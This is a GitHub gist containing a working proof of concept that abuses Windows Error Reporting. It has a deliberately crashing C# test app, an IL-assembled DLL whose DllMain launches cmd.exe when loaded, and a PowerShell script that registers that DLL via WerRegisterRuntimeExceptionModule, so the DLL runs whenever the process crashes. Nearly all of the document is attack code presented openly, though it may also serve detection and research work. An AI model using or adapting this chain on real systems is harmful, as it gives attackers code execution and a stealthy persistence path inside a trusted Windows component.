Skip to content

Instantly share code, notes, and snippets.

@secdev02
Last active December 7, 2025 22:03
Show Gist options
  • Select an option

  • Save secdev02/96af3bf34692ba0dc08f8e37411a6fe6 to your computer and use it in GitHub Desktop.

Select an option

Save secdev02/96af3bf34692ba0dc08f8e37411a6fe6 to your computer and use it in GitHub Desktop.
WER R U - WerRegisterRuntimeExceptionModule Shenanigans
using System;
namespace CrashTestApp
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Crash Test Application");
Console.WriteLine("======================");
Console.WriteLine("");
Console.WriteLine("Press any key to trigger a crash...");
Console.ReadKey();
Console.WriteLine("");
Console.WriteLine("Triggering unhandled exception...");
// Method 1: Null reference exception
TriggerNullReferenceException();
// Method 2: Access violation (uncomment to use instead)
// TriggerAccessViolation();
// Method 3: Stack overflow (uncomment to use instead)
// TriggerStackOverflow();
}
static void TriggerNullReferenceException()
{
string nullString = null;
Console.WriteLine("Length: " + nullString.Length.ToString());
}
static void TriggerAccessViolation()
{
unsafe
{
int* ptr = (int*)0;
*ptr = 42;
}
}
static void TriggerStackOverflow()
{
TriggerStackOverflow();
}
}
}
.assembly extern mscorlib
{
.ver 4:0:0:0
.publickeytoken = (B7 7A 5C 56 19 34 E0 89)
}
.assembly DllMainExample
{
.ver 1:0:0:0
}
.module DllMainExample.dll
// STARTUPINFO structure (simplified - just need size)
.class private sequential ansi sealed beforefieldinit STARTUPINFO
extends [mscorlib]System.ValueType
{
.pack 1
.size 68
}
// PROCESS_INFORMATION structure
.class private sequential ansi sealed beforefieldinit PROCESS_INFORMATION
extends [mscorlib]System.ValueType
{
.field public native int hProcess
.field public native int hThread
.field public int32 dwProcessId
.field public int32 dwThreadId
}
// Import CreateProcess from kernel32.dll
.class private auto ansi sealed Kernel32
{
.method public hidebysig static pinvokeimpl("kernel32.dll" winapi)
bool CreateProcessA(native int lpApplicationName,
string lpCommandLine,
native int lpProcessAttributes,
native int lpThreadAttributes,
bool bInheritHandles,
uint32 dwCreationFlags,
native int lpEnvironment,
native int lpCurrentDirectory,
native int lpStartupInfo,
native int lpProcessInformation) cil managed preservesig
{
}
.method public hidebysig static pinvokeimpl("kernel32.dll" winapi)
bool CloseHandle(native int hObject) cil managed preservesig
{
}
}
// DllMain function
.method public hidebysig static int32 DllMain(native int hModule,
uint32 ul_reason_for_call,
native int lpReserved) cil managed
{
.export [1] as DllMain
.maxstack 16
.locals init (valuetype STARTUPINFO V_0,
valuetype PROCESS_INFORMATION V_1)
// Check if DLL_PROCESS_ATTACH (ul_reason_for_call == 1)
ldarg.1
ldc.i4.1
bne.un IL_END
// Initialize STARTUPINFO
ldloca.s V_0
initobj STARTUPINFO
// Initialize PROCESS_INFORMATION
ldloca.s V_1
initobj PROCESS_INFORMATION
// Call CreateProcess to start cmd.exe
ldc.i4.0 // lpApplicationName = NULL
ldstr "cmd.exe" // lpCommandLine = "cmd.exe"
ldc.i4.0 // lpProcessAttributes = NULL
ldc.i4.0 // lpThreadAttributes = NULL
ldc.i4.0 // bInheritHandles = FALSE
ldc.i4.0 // dwCreationFlags = 0
ldc.i4.0 // lpEnvironment = NULL
ldc.i4.0 // lpCurrentDirectory = NULL
ldloca.s V_0 // lpStartupInfo
conv.i
ldloca.s V_1 // lpProcessInformation
conv.i
call bool Kernel32::CreateProcessA(native int, string, native int, native int, bool, uint32, native int, native int, native int, native int)
// If CreateProcess succeeded, close handles
brfalse.s IL_END
ldloc.1 // Load PROCESS_INFORMATION
ldfld native int PROCESS_INFORMATION::hProcess
call bool Kernel32::CloseHandle(native int)
pop
ldloc.1
ldfld native int PROCESS_INFORMATION::hThread
call bool Kernel32::CloseHandle(native int)
pop
IL_END:
ldc.i4.1 // Return TRUE
ret
}
# WerRegisterRuntimeExceptionModule.ps1
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class WerAPI
{
[DllImport("wer.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern int WerRegisterRuntimeExceptionModule(
string pwszOutOfProcessCallbackDll,
IntPtr pContext
);
[DllImport("wer.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern int WerUnregisterRuntimeExceptionModule(
string pwszOutOfProcessCallbackDll,
IntPtr pContext
);
}
"@
# Path to your DLL (update this path as needed)
$dllPath = Join-Path $PSScriptRoot "DllMainExample.dll"
# Check if DLL exists
if (-not (Test-Path $dllPath)) {
Write-Error "DLL not found at: $dllPath"
exit 1
}
# Get absolute path
$dllPath = (Resolve-Path $dllPath).Path
Write-Host "Registering WER Runtime Exception Module..."
Write-Host "DLL Path: $dllPath"
# Register the module
$result = [WerAPI]::WerRegisterRuntimeExceptionModule($dllPath, [IntPtr]::Zero)
if ($result -eq 0) {
Write-Host "Successfully registered WER module!" -ForegroundColor Green
Write-Host "HRESULT: 0x{0:X8}" -f $result
} else {
Write-Host "Failed to register WER module!" -ForegroundColor Red
Write-Host "HRESULT: 0x{0:X8}" -f $result
# Common error codes
switch ($result) {
0x80070057 { Write-Host "E_INVALIDARG - Invalid argument" }
0x80004005 { Write-Host "E_FAIL - Unspecified failure" }
default { Write-Host "Unknown error code" }
}
}
# Optional: Unregister function
function Unregister-WerModule {
param([string]$Path)
$result = [WerAPI]::WerUnregisterRuntimeExceptionModule($Path, [IntPtr]::Zero)
if ($result -eq 0) {
Write-Host "Successfully unregistered WER module!" -ForegroundColor Green
} else {
Write-Host "Failed to unregister WER module!" -ForegroundColor Red
Write-Host "HRESULT: 0x{0:X8}" -f $result
}
}
# Uncomment to unregister:
# Unregister-WerModule -Path $dllPath
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment